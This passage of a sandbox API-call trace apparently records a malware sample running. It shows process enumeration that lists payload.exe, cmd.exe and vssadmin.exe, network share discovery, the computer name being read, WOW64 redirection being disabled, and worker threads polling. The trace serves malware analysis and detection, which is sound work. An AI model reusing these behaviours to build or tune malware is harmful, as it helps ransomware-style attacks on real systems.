th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="slope.exe")) returned 1 [0079.781] lstrlenW (lpString="slope.exe") returned 9 [0079.781] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="entered.exe")) returned 1 [0079.782] lstrlenW (lpString="entered.exe") returned 11 [0079.782] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="demographicinfluences.exe")) returned 1 [0079.783] lstrlenW (lpString="demographicinfluences.exe") returned 25 [0079.783] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="attach.exe")) returned 1 [0079.783] lstrlenW (lpString="attach.exe") returned 10 [0079.783] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="obligations.exe")) returned 1 [0079.784] lstrlenW (lpString="obligations.exe") returned 15 [0079.784] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0079.785] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0079.785] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0079.786] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0079.786] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0079.787] lstrlenW (lpString="taskhost.exe") returned 12 [0079.787] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0079.788] lstrlenW (lpString="payload.exe") returned 11 [0079.788] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0079.788] lstrlenW (lpString="cmd.exe") returned 7 [0079.788] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0079.789] lstrlenW (lpString="conhost.exe") returned 11 [0079.789] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x15c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0079.790] lstrlenW (lpString="vssadmin.exe") returned 12 [0079.790] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0079.791] lstrlenW (lpString="VSSVC.exe") returned 9 [0079.791] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.792] lstrlenW (lpString="svchost.exe") returned 11 [0079.792] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0079.793] lstrlenW (lpString="LogonUI.exe") returned 11 [0079.793] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0079.793] CloseHandle (hObject=0x180) returned 1 [0079.794] Sleep (dwMilliseconds=0x1f4) Thread: id = 5 os_tid = 0x544 [0054.117] WaitForSingleObject (hHandle=0x18fde4, dwMilliseconds=0xffffffff) returned 0xffffffff [0054.117] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x604a38 | out: hHeap=0x5d0000) returned 1 Thread: id = 6 os_tid = 0x40c [0054.118] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a38 [0054.118] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a38, Size=0x20) returned 0x605b18 [0054.118] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x605b18, Size=0x40) returned 0x606ba8 [0054.118] GetLogicalDrives () returned 0x4 [0054.118] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x62d440 [0054.119] GetComputerNameW (in: lpBuffer=0x62d444, nSize=0x23fff6c | out: lpBuffer="XDUWTFONO", nSize=0x23fff6c) returned 1 [0054.119] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1000) returned 0x6230a8 [0054.120] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x23fff3c | out: lphEnum=0x23fff3c*=0x6060c8) returned 0x0 [0054.120] WNetEnumResourceW (in: hEnum=0x6060c8, lpcCount=0x23fff38, lpBuffer=0x6230a8, lpBufferSize=0x23fff40 | out: lpcCount=0x23fff38, lpBuffer=0x6230a8, lpBufferSize=0x23fff40) returned 0x103 [0054.120] WNetCloseEnum (hEnum=0x6060c8) returned 0x0 [0054.120] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x23fff3c | out: lphEnum=0x23fff3c*=0x62b3c0) returned 0x0 [0059.804] WNetEnumResourceW (in: hEnum=0x62b3c0, lpcCount=0x23fff38, lpBuffer=0x6230a8, lpBufferSize=0x23fff40 | out: lpcCount=0x23fff38, lpBuffer=0x6230a8, lpBufferSize=0x23fff40) returned 0x0 [0059.804] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1000) returned 0x6c18d0 [0059.804] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x6230a8, lphEnum=0x23fff10 | out: lphEnum=0x23fff10*=0x606368) returned 0x0 [0059.913] WNetEnumResourceW (in: hEnum=0x606368, lpcCount=0x23fff0c, lpBuffer=0x6c18d0, lpBufferSize=0x23fff14 | out: lpcCount=0x23fff0c, lpBuffer=0x6c18d0, lpBufferSize=0x23fff14) returned 0x103 [0059.913] WNetCloseEnum (hEnum=0x606368) returned 0x0 [0059.913] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1000) returned 0x6c5f98 [0059.913] WNetOpenEnumW (dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x6230c8, lphEnum=0x23fff10) Thread: id = 7 os_tid = 0x774 [0057.028] GetTickCount () returned 0x1145706 [0057.028] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x24) returned 0x65e160 [0057.028] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x65e160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x120 [0057.030] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x65e160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x124 [0057.032] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x65e160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x128 [0057.034] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x65e160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c [0057.035] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x6700b8 [0057.035] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6700b8, Size=0x20) returned 0x605d20 [0057.035] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x6700b8 [0057.035] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6700b8, Size=0x20) returned 0x605d48 [0057.036] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0057.036] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0057.036] Wow64DisableWow64FsRedirection (in: OldValue=0x24fff84 | out: OldValue=0x24fff84*=0x0) returned 1 [0057.036] lstrlenW (lpString="kernel32.dll") returned 12 [0057.036] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x605d20 | out: hHeap=0x5d0000) returned 1 [0057.036] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0057.036] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x605d48 | out: hHeap=0x5d0000) returned 1 [0057.036] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x60b430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x130 [0057.039] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0057.700] GetTickCount () returned 0x11457c1 [0057.700] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0057.922] GetTickCount () returned 0x11458ab [0057.922] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0058.603] GetTickCount () returned 0x1145928 [0058.603] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0059.760] GetTickCount () returned 0x1145995 [0059.760] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0060.157] GetTickCount () returned 0x1145a8f [0060.157] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0060.485] GetTickCount () returned 0x1145bd7 [0060.485] GetTickCount () returned 0x1145bd7 [0060.485] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0060.866] GetTickCount () returned 0x1145d4d [0060.866] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0061.271] GetTickCount () returned 0x1145ee3 [0061.271] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0061.493] GetTickCount () returned 0x1145fcd [0061.493] GetTickCount () returned 0x1145fcd [0061.493] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0062.135] GetTickCount () returned 0x11461fe [0062.135] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0062.509] GetTickCount () returned 0x1146365 [0062.509] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0062.839] GetTickCount () returned 0x11464ad [0062.839] GetTickCount () returned 0x11464ad [0062.839] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0063.067] GetTickCount () returned 0x1146587 [0063.067] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0063.271] GetTickCount () returned 0x1146661 [0063.271] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0063.490] GetTickCount () returned 0x114670d [0063.490] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0063.865] GetTickCount () returned 0x1146816 [0063.865] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0064.193] GetTickCount () returned 0x114695e [0064.193] GetTickCount () returned 0x114695e [0064.193] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0064.652] GetTickCount () returned 0x1146ac5 [0064.652] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0064.771] GetTickCount () returned 0x1146b41 [0064.771] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0064.950] GetTickCount () returned 0x1146bce [0064.950] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0065.424] GetTickCount () returned 0x1146c89 [0065.424] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0066.419] GetTickCount () returned 0x1146dc1 [0066.419] GetTickCount () returned 0x1146dc1 [0066.419] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0066.893] GetTickCount () returned 0x1146f09 [0066.893] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0067.217] GetTickCount () returned 0x1147050 [0067.217] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0067.608] GetTickCount () returned 0x11471d6 [0067.608] GetTickCount () returned 0x11471d6 [0067.608] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0068.061] GetTickCount () returned 0x114738b [0068.061] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0068.372] GetTickCount () returned 0x11474c3 [0068.372] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0068.871] GetTickCount () returned 0x1147678 [0068.871] GetTickCount () returned 0x1147678 [0068.871] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0069.079] GetTickCount () returned 0x1147743 [0069.079] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0069.395] GetTickCount () returned 0x114784c [0069.395] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0069.823] GetTickCount () returned 0x1147a01 [0069.823] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0070.257] GetTickCount () returned 0x1147b67 [0070.257] GetTickCount () returned 0x1147b67 [0070.257] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0070.604] GetTickCount () returned 0x1147cce [0070.604] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0070.837] GetTickCount () returned 0x1147db8 [0070.837] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0071.149] GetTickCount () returned 0x1147eb2 [0071.149] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0071.476] GetTickCount () returned 0x1147fea [0071.476] GetTickCount () returned 0x1147fea [0071.476] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0071.818] GetTickCount () returned 0x1148103 [0071.818] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0072.106] GetTickCount () returned 0x114821b [0072.106] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0072.281] GetTickCount () returned 0x11482c7 [0072.281] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0072.381] GetTickCount () returned 0x1148334 [0072.381] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0072.536] GetTickCount () returned 0x11483c1 [0072.536] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0072.640] GetTickCount () returned 0x114842e [0072.640] GetTickCount () returned 0x114842e [0072.640] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0072.818] GetTickCount () returned 0x11484e9 [0072.818] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0073.124] GetTickCount () returned 0x1148602 [0073.124] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0073.690] GetTickCount () returned 0x1148824 [0073.690] GetTickCount () returned 0x1148824 [0073.690] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0074.076] GetTickCount () returned 0x11489aa [0074.076] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0074.592] GetTickCount () returned 0x1148bad [0074.592] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0074.727] GetTickCount () returned 0x1148c39 [0074.728] GetTickCount () returned 0x1148c39 [0074.728] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0075.284] GetTickCount () returned 0x1148e6b [0075.284] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0076.081] GetTickCount () returned 0x1149186 [0076.081] GetTickCount () returned 0x1149186 [0076.081] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0076.207] GetTickCount () returned 0x1149203 [0076.207] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0076.485] GetTickCount () returned 0x114931c [0076.485] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0076.765] GetTickCount () returned 0x1149435 [0076.765] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0077.162] GetTickCount () returned 0x11495bb [0077.162] GetTickCount () returned 0x11495bb [0077.162] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0077.549] GetTickCount () returned 0x1149741 [0077.549] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0077.896] GetTickCount () returned 0x1149898 [0077.896] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0078.114] GetTickCount () returned 0x1149972 [0078.114] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0078.678] GetTickCount () returned 0x1149ba4 [0078.678] GetTickCount () returned 0x1149ba4 [0078.678] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0078.850] GetTickCount () returned 0x1149c50 [0078.850] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0079.553] GetTickCount () returned 0x1149f0e [0079.553] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0080.041] GetTickCount () returned 0x114a101 [0080.041] GetTickCount () returned 0x114a101 [0080.041] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) Thread: id = 9 os_tid = 0x738 [0057.621] GetTickCount () returned 0x1145773 [0057.621] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x24) returned 0x65e1e0 [0057.622] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x65e1e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c [0057.627] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x65e1e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x140 [0057.631] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x65e1e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x144 [0057.636] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x65e1e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x148 [0057.640] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x6701a8 [0057.640] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6701a8, Size=0x20) returned 0x626708 [0057.640] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x6701a8 [0057.640] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6701a8, Size=0x20) returned 0x626730 [0057.640] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0057.641] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0057.641] Wow64DisableWow64FsRedirection (in: OldValue=0x22fff84 | out: OldValue=0x22fff84*=0x0) returned 1 [0057.641] lstrlenW (lpString="kernel32.dll") returned 12 [0057.641] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x626708 | out: hHeap=0x5d0000) returned 1 [0057.641] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0057.641] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x626730 | out: hHeap=0x5d0000) returned 1 [0057.641] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x63d448, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14c [0057.661] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0057.800] GetTickCount () returned 0x114582f [0057.800] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0057.953] GetTickCount () returned 0x11458cb [0057.953] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0058.634] GetTickCount () returned 0x1145947 [0058.634] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0059.862] GetTickCount () returned 0x1145a03 [0059.862] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0060.320] GetTickCount () returned 0x1145b2b [0060.320] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0060.533] GetTickCount () returned 0x1145c05 [0060.533] GetTickCount () returned 0x1145c05 [0060.533] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0060.877] GetTickCount () returned 0x1145d5d [0060.877] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0061.355] GetTickCount () returned 0x1145f40 [0061.355] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0061.567] GetTickCount () returned 0x114600b [0061.567] GetTickCount () returned 0x114600b [0061.567] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0062.176] GetTickCount () returned 0x114620e [0062.176] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0062.553] GetTickCount () returned 0x1146394 [0062.553] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0062.896] GetTickCount () returned 0x11464eb [0062.896] GetTickCount () returned 0x11464eb [0062.896] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0063.100] GetTickCount () returned 0x11465b6 [0063.100] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0063.318] GetTickCount () returned 0x1146690 [0063.318] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0063.842] GetTickCount () returned 0x11467f7 [0063.842] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0064.193] GetTickCount () returned 0x114695e [0064.193] GetTickCount () returned 0x114695e [0064.193] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0064.652] GetTickCount () returned 0x1146ac5 [0064.652] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0064.770] GetTickCount () returned 0x1146b41 [0064.770] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0064.950] GetTickCount () returned 0x1146bce [0064.950] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0065.424] GetTickCount () returned 0x1146c89 [0065.424] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0066.419] GetTickCount () returned 0x1146dc1 [0066.419] GetTickCount () returned 0x1146dc1 [0066.419] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0066.893] GetTickCount () returned 0x1146f09 [0066.893] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0067.217] GetTickCount () returned 0x1147050 [0067.217] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0067.608] GetTickCount () returned 0x11471d6 [0067.608] GetTickCount () returned 0x11471d6 [0067.608] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0068.061] GetTickCount () returned 0x114738b [0068.061] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0068.372] GetTickCount () returned 0x11474c3 [0068.372] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0068.871] GetTickCount () returned 0x1147678 [0068.871] GetTickCount () returned 0x1147678 [0068.871] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0069.079] GetTickCount () returned 0x1147743 [0069.079] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0069.395] GetTickCount () returned 0x114784c [0069.395] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0069.823] GetTickCount () returned 0x1147a01 [0069.823] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0070.257] GetTickCount () returned 0x1147b67 [0070.257] GetTickCount () returned 0x1147b67 [0070.257] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0070.604] GetTickCount () returned 0x1147cce [0070.605] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0070.837] GetTickCount () returned 0x1147db8 [0070.837] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0071.149] GetTickCount () returned 0x1147eb2 [0071.149] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0071.476] GetTickCount () returned 0x1147fea [0071.476] GetTickCount () returned 0x1147fea [0071.476] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0071.818] GetTickCount () returned 0x1148103 [0071.818] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0072.106] GetTickCount () returned 0x114821b [0072.106] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0072.281] GetTickCount () returned 0x11482c7 [0072.281] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0072.382] GetTickCount () returned 0x1148334 [0072.382] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0072.535] GetTickCount () returned 0x11483c1 [0072.536] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0072.640] GetTickCount () returned 0x114842e [0072.640] GetTickCount () returned 0x114842e [0072.640] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0072.818] GetTickCount () returned 0x11484e9 [0072.818] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0073.124] GetTickCount () returned 0x1148602 [0073.124] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) 